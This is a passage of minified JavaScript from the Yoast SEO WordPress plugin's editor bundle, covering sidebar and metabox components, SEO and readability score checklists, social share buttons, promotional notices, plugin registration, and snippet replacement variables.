rPriority:40},(0,t.createElement)(ir,{id:"collapsible-advanced-settings",title:(0,l.__)("Advanced","wordpress-seo")},(0,t.createElement)(nn,null))),e.displaySchemaSettings&&(0,t.createElement)(Zr,{key:"schema",renderPriority:50},(0,t.createElement)(Aa,null)),(0,t.createElement)(Zr,{key:"social",renderPriority:-1},(0,t.createElement)(ba,{target:"wpseo-section-social"})),e.isInsightsEnabled&&(0,t.createElement)(Zr,{key:"insights",renderPriority:52},(0,t.createElement)(Nr,{location:"metabox"}))))}Xo.propTypes={settings:y().object.isRequired};const Qo=(0,Le.compose)([(0,a.withSelect)(((e,t)=>{const{getPreferences:s}=e("yoast-seo/editor");return{settings:s(),store:t.store}}))])(Xo);function Jo({target:e,store:s,theme:r}){return(0,t.createElement)(Se,{target:e},(0,t.createElement)(Pe,{store:s,theme:r}),(0,t.createElement)(Qo,{store:s,theme:r}))}Jo.propTypes={target:y().string.isRequired,store:y().object,theme:y().object};const ei=({error:e})=>{const s=(0,i.useCallback)((()=>{var e,t;return null===(e=window)||void 0===e||null===(t=e.location)||void 0===t?void 0:t.reload()}),[]),r=(0,a.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/sidebar-error-support")),[]),n=(0,a.useSelect)((e=>e("yoast-seo/editor").getPreference("isRtl",!1)),[]);return(0,t.createElement)(S.Root,{context:{isRtl:n}},(0,t.createElement)(F,{error:e},(0,t.createElement)(F.VerticalButtons,{supportLink:r,handleRefreshClick:s})))};function ti({theme:e}){return(0,t.createElement)(R,{theme:e,location:"sidebar"},(0,t.createElement)(S.ErrorBoundary,{FallbackComponent:ei},(0,t.createElement)(k.Slot,{name:"YoastSidebar"},(e=>_(e)))))}function si({score:e,label:s,scoreValue:r}){return(0,t.createElement)("div",{className:"yoast-analysis-check"},(0,t.createElement)(ke.SvgIcon,{...Re(e)}),(0,t.createElement)("span",null," ",s," ",r&&(0,t.createElement)("strong",null,r)))}function ri({checklist:e,onClick:s}){const r=e.every((e=>"good"===e.score));return(0,t.createElement)(i.Fragment,null,e.map((e=>(0,t.createElement)(si,{key:e.label,...e}))),(0,t.createElement)("br",null),!r&&(0,t.createElement)(ke.Button,{onClick:s},(0,l.__)("Improve your post with Yoast SEO","wordpress-seo")))}function ni(e){return(0,m.isNil)(e)||(e/=10),function(e){switch(e){case"feedback":return{className:"na",screenReaderText:(0,l.__)("Not available","wordpress-seo"),screenReaderReadabilityText:(0,l.__)("Not available","wordpress-seo"),screenReaderInclusiveLanguageText:(0,l.__)("Not available","wordpress-seo")};case"bad":return{className:"bad",screenReaderText:(0,l.__)("Needs improvement","wordpress-seo"),screenReaderReadabilityText:(0,l.__)("Needs improvement","wordpress-seo"),screenReaderInclusiveLanguageText:(0,l.__)("Needs improvement","wordpress-seo")};case"ok":return{className:"ok",screenReaderText:(0,l.__)("OK SEO score","wordpress-seo"),screenReaderReadabilityText:(0,l.__)("OK","wordpress-seo"),screenReaderInclusiveLanguageText:(0,l.__)("Potentially non-inclusive","wordpress-seo")};case"good":return{className:"good",screenReaderText:(0,l.__)("Good SEO score","wordpress-seo"),screenReaderReadabilityText:(0,l.__)("Good","wordpress-seo"),screenReaderInclusiveLanguageText:(0,l.__)("Good","wordpress-seo")};default:return{className:"loading",screenReaderText:"",screenReaderReadabilityText:"",screenReaderInclusiveLanguageText:""}}}(xe.interpreters.scoreToRating(e))}function ai(e,t){const{isKeywordAnalysisActive:s}=t.getPreferences();if(s){const s=ni(t.getReadabilityResults().overallScore);e.push({label:(0,l.__)("Readability analysis:","wordpress-seo"),score:s.className,scoreValue:s.screenReaderReadabilityText})}}function oi(e,t){const{isContentAnalysisActive:s}=t.getPreferences();if(s){const s=ni(t.getResultsForFocusKeyword().overallScore),r=h().isPremium;e.push({label:r?(0,l.__)("Premium SEO analysis:","wordpress-seo"):(0,l.__)("SEO analysis:","wordpress-seo"),score:s.className,scoreValue:s.screenReaderReadabilityText})}}function ii(e,t){const{isInclusiveLanguageAnalysisActive:s}=t.getPreferences();if(s){const s=ni(t.getInclusiveLanguageResults().overallScore);e.push({label:(0,l.__)("Inclusive language:","wordpress-seo"),score:s.className,scoreValue:s.screenReaderInclusiveLanguageText})}}ei.propTypes={error:y().object.isRequired},si.propTypes={score:g.string.isRequired,label:g.string.isRequired,scoreValue:g.string},si.defaultProps={scoreValue:""},ri.propTypes={checklist:y().array.isRequired,onClick:y().func.isRequired};const li=(0,Le.compose)([(0,a.withSelect)((function(e){const t=e("yoast-seo/editor"),s=[];return oi(s,t),ai(s,t),ii(s,t),s.push(...Object.values(t.getChecklistItems())),{checklist:s}})),(0,a.withDispatch)((function(e){const{openGeneralSidebar:t}=e("core/edit-post");return{onClick:()=>{t("yoast-seo/seo-sidebar")}}}))])(ri),ci=(0,Le.compose)([(0,a.withSelect)((e=>{const t=e("yoast-seo/editor"),s=ni(t.getResultsForFocusKeyword().overallScore),r=ni(t.getReadabilityResults().overallScore),{isKeywordAnalysisActive:n,isContentAnalysisActive:a}=t.getPreferences();let o,i;switch(r.className){case"good":o=_e.colors.$color_good;break;case"ok":o=_e.colors.$color_ok;break;default:o=_e.colors.$color_bad}switch(s.className){case"good":i=_e.colors.$color_good;break;case"ok":i=_e.colors.$color_ok;break;default:i=_e.colors.$color_bad}return{readabilityScoreColor:o,seoScoreColor:i,isKeywordAnalysisActive:n,isContentAnalysisActive:a}}))])(v);var di;function pi(){return pi=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},pi.apply(this,arguments)}const ui=e=>t.createElement("svg",pi({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1600 1600"},e),di||(di=t.createElement("g",{fill:"none",fillRule:"evenodd"},t.createElement("path",{fill:"#1877f2",d:"M1600 800a800 800 0 1 0-925 790v-559H472V800h203V624c0-201 119-311 302-311 88 0 179 15 179 15v197h-101c-99 0-130 62-130 125v150h222l-36 231H925v559a800 800 0 0 0 675-790"}),t.createElement("path",{fill:"#fff",d:"M1147 800H925V650c0-63 31-125 130-125h101V328s-91-15-179-15c-183 0-302 110-302 311v176H472v231h203v559a806 806 0 0 0 250 0v-559h186z"}))));var mi;function hi(){return hi=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},hi.apply(this,arguments)}const gi=e=>t.createElement("svg",hi({xmlns:"http://www.w3.org/2000/svg",fill:"current",viewBox:"0 0 1200 1227"},e),mi||(mi=t.createElement("path",{d:"M714.163 519.284 1160.89 0h-105.86L667.137 450.887 357.328 0H0l468.492 681.821L0 1226.37h105.866l409.625-476.152 327.181 476.152H1200L714.137 519.284h.026ZM569.165 687.828l-47.468-67.894-377.686-540.24h162.604l304.797 435.991 47.468 67.894 396.2 566.721H892.476L569.165 687.854v-.026Z"})));function yi({permalink:e}){const s=encodeURI(e);return(0,t.createElement)(i.Fragment,null,(0,t.createElement)("div",null,(0,l.__)("Share your post!","wordpress-seo")),(0,t.createElement)("ul",{className:"yoast-seo-social-share-buttons"},(0,t.createElement)("li",null,(0,t.createElement)("a",{href:"https://www.facebook.com/sharer/sharer.php?u="+s,target:"_blank",rel:"noopener noreferrer"},(0,t.createElement)(ui,null),(0,l.__)("Facebook","wordpress-seo"),(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,l.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,t.createElement)("li",null,(0,t.createElement)("a",{href:"https://twitter.com/share?url="+s,target:"_blank",rel:"noopener noreferrer",className:"x-share"},(0,t.createElement)(gi,null),(0,l.__)("X","wordpress-seo"),(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,l.__)("(Opens in a new browser tab)","wordpress-seo"))))))}yi.propTypes={permalink:y().string.isRequired};const fi=(0,Le.compose)([(0,a.withSelect)((e=>({permalink:e("core/editor").getPermalink()})))])(yi);function wi({checklist:e,onClick:s}){let r;return r=e.every((e=>"good"===e.score))?(0,l.__)("We've analyzed your post. Everything looks good. Well done!","wordpress-seo"):(0,l.__)("We've analyzed your post. There is still room for improvement!","wordpress-seo"),(0,t.createElement)(i.Fragment,null,(0,t.createElement)("p",null,r),(0,t.createElement)(ri,{checklist:e,onClick:s}))}wi.propTypes={checklist:y().array.isRequired,onClick:y().func.isRequired};const bi=(0,Le.compose)([(0,a.withSelect)((function(e){const t=e("yoast-seo/editor"),s=[];return function(e,t){t.getFocusKeyphrase()||e.push({label:(0,l.__)("No focus keyword was entered","wordpress-seo"),score:"bad"})}(s,t),oi(s,t),ai(s,t),ii(s,t),s.push(...Object.values(t.getChecklistItems())),{checklist:s}})),(0,a.withDispatch)((function(e){const{closePublishSidebar:t,openGeneralSidebar:s}=e("core/edit-post");return{onClick:()=>{t(),s("yoast-seo/seo-sidebar")}}}))])(wi),Ei="trustpilot-review-notification",vi="yoast-seo/editor",ki=()=>{const e=(0,a.useSelect)((e=>e(vi).getIsPremium()),[]),t=(0,a.useSelect)((e=>e(vi).isAlertDismissed(Ei)),[]),{overallScore:s}=(0,a.useSelect)((e=>e(vi).getResultsForFocusKeyword()),[]),{dismissAlert:r}=(0,a.useDispatch)(vi),n=(0,i.useCallback)((()=>r(Ei)),[r]),[o,l]=(0,i.useState)(!1);return(0,i.useEffect)((()=>{var e;"good"===(null===(e=ni(s))||void 0===e?void 0:e.className)&&l(!0)}),[s]),{shouldShow:!e&&!t&&o,dismiss:n}},_i=(0,De.makeOutboundLink)(),xi=()=>{const{shouldShow:e,dismiss:s}=ki(),{locationContext:r}=(0,p.useRootContext)(),n=(0,a.useSelect)((e=>e(vi).selectLink("https://yoa.st/trustpilot-review",{context:r})),[r]);return(0,t.createElement)(Ko,{alertKey:Ei,store:vi,id:Ei,title:(0,l.__)("Show Yoast SEO some love!","wordpress-seo"),hasIcon:!1,isAlertDismissed:!e,onDismissed:s},(0,l.__)("Happy with the plugin?","wordpress-seo")," ",(0,t.createElement)(_i,{href:n,rel:"noopener noreferrer"},(0,l.__)("Leave a quick review","wordpress-seo")),".")},Ri=({store:e="yoast-seo/editor",image:s=Wo,url:r,...n})=>(0,a.useSelect)((t=>t(e).getIsPremium()))?null:(0,t.createElement)(Ho,{alertKey:"webinar-promo-notification",store:e,id:"webinar-promo-notification",title:(0,l.__)("Join our FREE webinar for SEO success","wordpress-seo"),image:s,url:r,...n},(0,l.__)("Feeling lost when it comes to optimizing your site for the search engines? Join our FREE webinar to gain the confidence that you need in order to start optimizing like a pro! You'll obtain the knowledge and tools to start effectively implementing SEO.","wordpress-seo")," ",(0,t.createElement)("a",{href:r,target:"_blank",rel:"noreferrer"},(0,l.__)("Sign up today!","wordpress-seo")));Ri.propTypes={store:y().string,image:y().elementType,url:y().string.isRequired};const Si=Ri,Ti=(e="yoast-seo/editor")=>{const t=(0,a.select)(e).isPromotionActive("black-friday-2024-promotion"),s=(0,a.select)(e).isAlertDismissed("black-friday-2024-promotion");return t?s:((e="yoast-seo/editor")=>{const t=(0,a.select)(e).isPromotionActive("black-friday-2023-checklist"),s=(0,a.select)(e).isAlertDismissed("black-friday-2023-sidebar-checklist");return!t||s})(e)},Ci=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{d:"M11 3a1 1 0 10-2 0v1a1 1 0 102 0V3zM15.657 5.757a1 1 0 00-1.414-1.414l-.707.707a1 1 0 001.414 1.414l.707-.707zM18 10a1 1 0 01-1 1h-1a1 1 0 110-2h1a1 1 0 011 1zM5.05 6.464A1 1 0 106.464 5.05l-.707-.707a1 1 0 00-1.414 1.414l.707.707zM5 10a1 1 0 01-1 1H3a1 1 0 110-2h1a1 1 0 011 1zM8 16v-1h4v1a2 2 0 11-4 0zM12 14c.015-.34.208-.646.477-.859a4 4 0 10-4.954 0c.27.213.462.519.476.859h4.002z"}))})),Ii=({id:e,postTypeName:s,children:r,title:n,isOpen:a,close:o,open:c,shouldCloseOnClickOutside:d,showChangesWarning:u,SuffixHeroIcon:m})=>(0,t.createElement)(i.Fragment,null,a&&(0,t.createElement)(p.LocationProvider,{value:"modal"},(0,t.createElement)(je,{title:n,onRequestClose:o,additionalClassName:"yoast-collapsible-modal yoast-post-settings-modal",id:"id",shouldCloseOnClickOutside:d},(0,t.createElement)("div",{className:"yoast-content-container"},(0,t.createElement)("div",{className:"yoast-modal-content"},r)),(0,t.createElement)("div",{className:"yoast-notice-container"},(0,t.createElement)("hr",null),(0,t.createElement)("div",{className:"yoast-button-container"},u&&(0,t.createElement)("p",null,/* Translators: %s translates to the Post Label in singular form */
(0,l.sprintf)((0,l.__)("Make sure to save your %s for changes to take effect","wordpress-seo"),s)),(0,t.createElement)("button",{className:"yoast-button yoast-button--primary yoast-button--post-settings-modal",type:"button",onClick:o},/* Translators: %s translates to the Post Label in singular form */
(0,l.sprintf)((0,l.__)("Return to your %s","wordpress-seo"),s)))))),(0,t.createElement)(Ge,{id:e+"-open-button",title:n,SuffixHeroIcon:m,suffixIcon:m?null:{size:"20px",icon:"pencil-square"},onClick:c}));Ii.propTypes={id:y().string.isRequired,postTypeName:y().string.isRequired,children:y().oneOfType([y().node,y().arrayOf(y().node)]).isRequired,title:y().string.isRequired,isOpen:y().bool.isRequired,open:y().func.isRequired,close:y().func.isRequired,shouldCloseOnClickOutside:y().bool,showChangesWarning:y().bool,SuffixHeroIcon:y().object},Ii.defaultProps={shouldCloseOnClickOutside:!0,showChangesWarning:!0};const Pi=Ii,Li=(0,Le.compose)([(0,a.withSelect)(((e,t)=>{const{getPostOrPageString:s,getIsModalOpen:r}=e("yoast-seo/editor");return{postTypeName:s(),isOpen:r(t.id)}})),(0,a.withDispatch)(((e,t)=>{const{openEditorModal:s,closeEditorModal:r}=e("yoast-seo/editor");return{open:()=>s(t.id),close:r}}))])(Pi),Ai=w()(Ci)`
	width: 18px;
	height: 18px;
	margin: 3px;
`,Fi=({location:e})=>{const s=(0,a.useSelect)((e=>e("yoast-seo/editor").getIsElementorEditor()),[]),r=(0,a.useSelect)((e=>e("yoast-seo/editor").isFleschReadingEaseAvailable()),[]),n=Fe();return(0,t.createElement)(Li,{title:(0,l.__)("Insights","wordpress-seo"),id:`yoast-insights-modal-${e}`,shouldCloseOnClickOutside:!s,showChangesWarning:!1,SuffixHeroIcon:(0,t.createElement)(Ai,{className:"yst-text-slate-500",...n})},(0,t.createElement)("div",{className:"yoast-insights yoast-modal-content--columns"},(0,t.createElement)(Tr,{location:e}),(0,t.createElement)("div",null,r&&(0,t.createElement)("div",{className:"yoast-insights-row"},(0,t.createElement)(pr,null)),(0,t.createElement)("div",{className:"yoast-insights-row yoast-insights-row--columns"},(0,t.createElement)(lr,null),(0,t.createElement)(Cr,null)),(0,ar.isFeatureEnabled)("TEXT_FORMALITY")&&(0,t.createElement)(Fr,{location:e,name:"YoastTextFormalityMetabox"}))))};Fi.propTypes={location:y().string},Fi.defaultProps={location:"sidebar"};const Oi=Fi,Ni=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M8 4a4 4 0 100 8 4 4 0 000-8zM2 8a6 6 0 1110.89 3.476l4.817 4.817a1 1 0 01-1.414 1.414l-4.816-4.816A6 6 0 012 8z",clipRule:"evenodd"}))}));class qi{constructor(e){this.refresh=e,this.loaded=!1,this.preloadThreshold=3e3,this.plugins={},this.modifications={},this._registerPlugin=this._registerPlugin.bind(this),this._ready=this._ready.bind(this),this._reloaded=this._reloaded.bind(this),this._registerModification=this._registerModification.bind(this),this._registerAssessment=this._registerAssessment.bind(this),this._applyModifications=this._applyModifications.bind(this),setTimeout(this._pollLoadingPlugins.bind(this),1500)}_registerPlugin(e,t){return(0,m.isString)(e)?(0,m.isUndefined)(t)||(0,m.isObject)(t)?!1===this._validateUniqueness(e)?(console.error("Failed to register plugin. Plugin with name "+e+" already exists"),!1):(this.plugins[e]=t,!0):(console.error("Failed to register plugin "+e+". Expected parameters `options` to be a object."),!1):(console.error("Failed to register plugin. Expected parameter `pluginName` to be a string."),!1)}_ready(e){return(0,m.isString)(e)?(0,m.isUndefined)(this.plugins[e])?(console.error("Failed to modify status for plugin "+e+". The plugin was not properly registered."),!1):(this.plugins[e].status="ready",!0):(console.error("Failed to modify status for plugin "+e+". Expected parameter `pluginName` to be a string."),!1)}_reloaded(e){return(0,m.isString)(e)?(0,m.isUndefined)(this.plugins[e])?(console.error("Failed to reload Content Analysis for plugin "+e+". The plugin was not properly registered."),!1):(this.refresh(),!0):(console.error("Failed to reload Content Analysis for "+e+". Expected parameter `pluginName` to be a string."),!1)}_registerModification(e,t,s,r){if(!(0,m.isString)(e))return console.error("Failed to register modification for plugin "+s+". Expected parameter `modification` to be a string."),!1;if(!(0,m.isFunction)(t))return console.error("Failed to register modification for plugin "+s+". Expected parameter `callable` to be a function."),!1;if(!(0,m.isString)(s))return console.error("Failed to register modification for plugin "+s+". Expected parameter `pluginName` to be a string."),!1;if(!1===this._validateOrigin(s))return console.error("Failed to register modification for plugin "+s+". The integration has not finished loading yet."),!1;const n={callable:t,origin:s,priority:(0,m.isNumber)(r)?r:10};return(0,m.isUndefined)(this.modifications[e])&&(this.modifications[e]=[]),this.modifications[e].push(n),!0}_registerAssessment(e,t,s,r){return(0,m.isString)(t)?(0,m.isObject)(s)?(0,m.isString)(r)?(t=r+"-"+t,e.addAssessment(t,s),!0):(console.error("Failed to register assessment for plugin "+r+". Expected parameter `pluginName` to be a string."),!1):(console.error("Failed to register assessment for plugin "+r+". Expected parameter `assessment` to be a function."),!1):(console.error("Failed to register test for plugin "+r+". Expected parameter `name` to be a string."),!1)}_applyModifications(e,t,s){let r=this.modifications[e];return!(0,m.isArray)(r)||r.length<1||(r=this._stripIllegalModifications(r),r.sort(((e,t)=>e.priority-t.priority)),(0,m.forEach)(r,(function(r){const n=r.callable(t,s);typeof n==typeof t?t=n:console.error("Modification with name "+e+" performed by plugin with name "+r.origin+" was ignored because the data that was returned by it was of a different type than the data we had passed it.")}))),t}_pollLoadingPlugins(e){e=(0,m.isUndefined)(e)?0:e,!0===this._allReady()?(this.loaded=!0,this.refresh()):e>=this.preloadThreshold?(this._pollTimeExceeded(),this.loaded=!0,this.refresh()):(e+=50,setTimeout(this._pollLoadingPlugins.bind(this,e),50))}_allReady(){return(0,m.reduce)(this.plugins,(function(e,t){return e&&"ready"===t.status}),!0)}_pollTimeExceeded(){(0,m.forEach)(this.plugins,(function(e,t){(0,m.isUndefined)(e.options)||"ready"===e.options.status||(console.error("Error: Plugin "+t+". did not finish loading in time."),delete this.plugins[t])}))}_stripIllegalModifications(e){return(0,m.forEach)(e,((t,s)=>{!1===this._validateOrigin(t.origin)&&delete e[s]})),e}_validateOrigin(e){return"ready"===this.plugins[e].status}_validateUniqueness(e){return(0,m.isUndefined)(this.plugins[e])}}let Mi=null;const Di=()=>{if(null===Mi){const e=(0,a.dispatch)("yoast-seo/editor").runAnalysis;Mi=window.YoastSEO.app&&window.YoastSEO.app.pluggable?window.YoastSEO.app.pluggable:new qi(e)}return Mi},$i=(e,t,s)=>Di().loaded?Di()._applyModifications(e,t,s):t,Bi={name:"author_first_name",label:"Author first name",placeholder:"%%author_first_name%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.author_first_name","")},regexp:new RegExp("%%author_first_name%%","g")},Ui={name:"author_last_name",label:"Author last name",placeholder:"%%author_last_name%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.author_last_name","")},regexp:new RegExp("%%author_last_name%%","g")},Wi={name:"currentdate",label:"Current date",placeholder:"%%currentdate%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentdate","")},regexp:new RegExp("%%currentdate%%","g")},ji={name:"currentday",label:"Current day",placeholder:"%%currentday%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentday","")},regexp:new RegExp("%%currentday%%","g")},Ki={name:"currentmonth",label:"Current month",placeholder:"%%currentmonth%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentmonth","")},regexp:new RegExp("%%currentmonth%%","g")},Hi={name:"category",label:"Category",placeholder:"%%category%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.category","")},regexp:new RegExp("%%category%%","g")},Vi={name:"category_title",label:"Category Title",placeholder:"%%category_title%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.category_title","")},regexp:new RegExp("%%category_title%%","g")},zi={name:"currentyear",label:"Current year",placeholder:"%%currentyear%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentyear","")},regexp:new RegExp("%%currentyear%%","g")},Yi={name:"date",label:"Date",placeholder:"%%date%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.date","")},regexp:new RegExp("%%date%%","g")},Gi={name:"excerpt",label:"Excerpt",placeholder:"%%excerpt%%",aliases:[{name:"excerpt_only",label:"Excerpt only",placeholder:"%%excerpt_only%%"}],getReplacement:function(){return(0,a.select)("yoast-seo/editor").getEditorDataExcerptWithFallback()},regexp:new RegExp("%%excerpt%%|%%excerpt_only%%","g")},Zi={name:"focuskw",label:"Focus keyphrase",placeholder:"%%focuskw%%",aliases:[],getReplacement:function(){return(0,a.select)("yoast-seo/editor").getFocusKeyphrase()},regexp:new RegExp("%%focuskw%%|%%keyword%%","g")},Xi={name:"id",label:"ID",placeholder:"%%id%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.id","")},regexp:new RegExp("%%id%%","g")},Qi={name:"modified",label:"Modified",placeholder:"%%modified%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.modified","")},regexp:new RegExp("%%modified%%","g")},Ji={name:"name",label:"Name",placeholder:"%%name%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.name","")},regexp:new RegExp("%%name%%","g")},el={name:"page",label:"Page",placeholder:"%%page%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.page","")},regexp:new RegExp("%%page%%","g")},tl={name:"pagenumber",label:"Pagenumber",placeholder:"%%pagenumber%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pagenumber","")},regexp:new RegExp("%%pagenumber%%","g")},sl={name:"pagetotal",label:"Pagetotal",placeholder:"%%pagetotal%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pagetotal","")},regexp:new RegExp("%%pagetotal%%","g")},rl={name:"permalink",label:"Permalink",placeholder:"%%permalink%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.permalink","")},regexp:new RegExp("%%permalink%%","g")},nl={name:"post_content",label:"Post Content",placeholder:"%%post_content%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_content","")},regexp:new RegExp("%%post_content%%","g")},al={name:"post_day",label:"Post Day",placeholder:"%%post_day%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_day","")},regexp:new RegExp("%%post_day%%","g")},ol={name:"post_month",label:"Post Month",placeholder:"%%post_month%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_month","")},regexp:new RegExp("%%post_month%%","g")},il={name:"post_year",label:"Post Year",placeholder:"%%post_year%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_year","")},regexp:new RegExp("%%post_year%%","g")},ll={name:"pt_plural",label:"Post type (plural)",placeholder:"%%pt_plural%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pt_plural","")},regexp:new RegExp("%%pt_plural%%","g")},cl={name:"pt_single",label:"Post type (singular)",placeholder:"%%pt_single%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pt_single","")},regexp:new RegExp("%%pt_single%%","g")},dl={name:"primary_category",label:"Primary category",placeholder:"%%primary_category%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.primary_category","")},regexp:new RegExp("%%primary_category%%","g")},pl={name:"searchphrase",label:"Search phrase",placeholder:"%%searchphrase%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.searchphrase","")},regexp:new RegExp("%%searchphrase%%","g")},ul={name:"sep",label:"Separator",placeholder:"%%sep%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sep","")},regexp:new RegExp("%%sep%%(\\s*%%sep%%)*","g")},ml={name:"sitedesc",label:"Tagline",placeholder:"%%sitedesc%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sitedesc","")},regexp:new RegExp("%%sitedesc%%","g")},hl={name:"sitename",label:"Site title",placeholder:"%%sitename%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sitename","")},regexp:new RegExp("%%sitename%%","g")},gl={name:"tag",label:"Tag",placeholder:"%%tag%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.tag","")},regexp:new RegExp("%%tag%%","g")},yl={name:"term404",label:"Term404",placeholder:"%%term404%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term404","")},regexp:new RegExp("%%term404%%","g")},fl={name:"term_description",label:"Term description",placeholder:"%%term_description%%",aliases:[{name:"tag_description",label:"Tag description",placeholder:"%%tag_description%%"},{name:"category_description",label:"Category description",placeholder:"%%category_description%%"}],getReplacement:function(){return(0,m.get)(window,"YoastSEO.app.rawData.text","")},regexp:new RegExp("%%term_description%%|%%tag_description%%|%%category_description%%","g")},wl={name:"term_hierarchy",label:"Term hierarchy",placeholder:"%%term_hierarchy%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term_hierarchy","")},regexp:new RegExp("%%term_hierarchy%%","g")},bl={name:"term_title",label:"Term title",placeholder:"%%term_title%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term_title","")},regexp:new RegExp("%%term_title%%","g")},El={name:"title",label:"Title",placeholder:"%%title%%",aliases:[],getReplacement:function(){return(0,a.select)("yoast-seo/editor").getEditorDataTitle()},regexp:new RegExp("%%title%%","g")},vl={name:"user_description",label:"User description",placeholder:"%%user_description%%",aliases:[],getReplacement:function(){return(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.user_description","")},regexp:new RegExp("%%user_description%%","g")};var kl={source:"wpseoScriptData.analysis.plugins.replaceVars",scope:[],aliases:[]},_l=function(e,t,s){this.placeholder=e,this.replacement=t,this.options=(0,m.defaults)(s,kl)};_l.prototype.getPlaceholder=function(e){return(e=e||!1)&&this.hasAlias()?this.placeholder+"|"+this.getAliases().join("|"):this.placeholder},_l.prototype.setSource=function(e){this.options.source=e},_l.prototype.hasScope=function(){return!(0,m.isEmpty)(this.options.scope)},_l.prototype.addScope=function(e){this.hasScope()||(this.options.scope=[]),this.options.scope.push(e)},_l.prototype.inScope=function(e){return!this.hasScope()||(0,m.indexOf)(this.options.scope,e)>-1},_l.prototype.hasAlias=function(){return!(0,m.isEmpty)(this.options.aliases)},_l.prototype.addAlias=function(e){this.hasAlias()||(this.options.aliases=[]),this.options.aliases.push(e)},_l.prototype.getAliases=function(){return this.options.aliases};let xl=null,Rl=null;const Sl=()=>{if(null===Rl){Rl=[];const t=(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.hidden_replace_vars",[]);(null===xl&&(xl=((e="")=>{switch(""===e&&(e=(0,m.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.scope","")),e){case"post":case"page":return["authorFirstName","authorLastName","category","categoryTitle","currentDate","currentDay","currentMonth","currentYear","date","excerpt","id","focusKeyphrase","modified","name","page","primaryCategory","pageNumber","pageTotal","permalink","postContent","postDay","postMonth","postYear","postTypeNamePlural","postTypeNameSingular","searchPhrase","separator","siteDescription","siteName","tag","title","userDescription"]}return[]})().map((t=>null==e?void 0:e[t])).filter(Boolean)),xl).forEach((e=>{const 